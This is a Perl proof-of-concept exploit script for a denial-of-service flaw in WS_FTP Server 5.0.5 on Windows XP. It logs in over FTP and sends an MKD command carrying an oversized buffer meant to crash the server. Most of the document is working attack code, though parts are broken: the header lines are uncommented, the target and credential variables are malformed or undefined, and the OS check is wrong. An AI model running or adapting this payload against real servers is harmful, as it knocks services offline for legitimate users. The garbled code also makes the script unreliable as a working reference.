#!/usr/bin/perl

use IO::Socket::INET;

Exploit Title: WS_FTP Server 5.0.5 - Denied of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 30 january 2024

Vendor Homepage: N/A

Notification vendor: No reported

Tested Version: 5.0.5

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denied of Service (DoS)

#1. Description about vunerability and exploited

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit we intentionally increased the number of bytes sent to the server to process.
#We concluded that the FTP server does not correctly manage the amount of data or bytes sent and processed, causing denied service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

    intro();  
main();

my $exploit = "\x41"x676;  
$exploit .=  "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e";  
$exploit .=  "\x42"x3000;  
$exploit .=  "\r\n";

    my $sock = IO::Socket::INET->new(  
    PeerAddr => $target->$ip,  
    PeerPort => $target->$port,  
    Proto    => 'tcp',  
) or die "Not connect to $ip:$port: $!";

my $response = <$sock>;  
print "Connected => $response";

  $sock->send("USER $ftp_user\r\n");  
  $response = <$sock>;  
  print "Authentication USER: $response";

  $sock->send("PASS $ftp_pass\r\n");  
  $response = <$sock>;  
  print "Authentication PASSWORD: $response";

    $sock->send("MKD ".$exploit);  
    $response = <$sock>;  
    print "Exploited : $response";

sub intro {
print q {

  ---------- # ------------------------------------------------------------------  
  --------- ##= ------- [+] WS_FTP Server 5.0.5 - Denied of Service (DoS) -------  
  -------- ##=== ----------------------------------------------------------------  
  ------ ###==#=== --------------------------------------------------------------  
  ---- ####===##==== ------------------------------------------------------------  
  -- #####====###===== -----          Coded by Fernando Mengali             -----  
  - #####=====####===== -----        [email protected]            -----  
  - #####=====####===== ---------------------------------------------------------  
  --- ####=  #  #==== --------    Prepare to exploiting the server   ------------  
  --------- ##= -----------------------------------------------------------------  
  ------- ####=== ---------------------------------------------------------------

  }  

}

sub main {

our ($ip, $port) = @ARGV;

  unless (defined($ip) && defined($port)) {

    print "       \nUsage: $0 <ip> <port>                 \n";  
    exit(-1);

  }  

}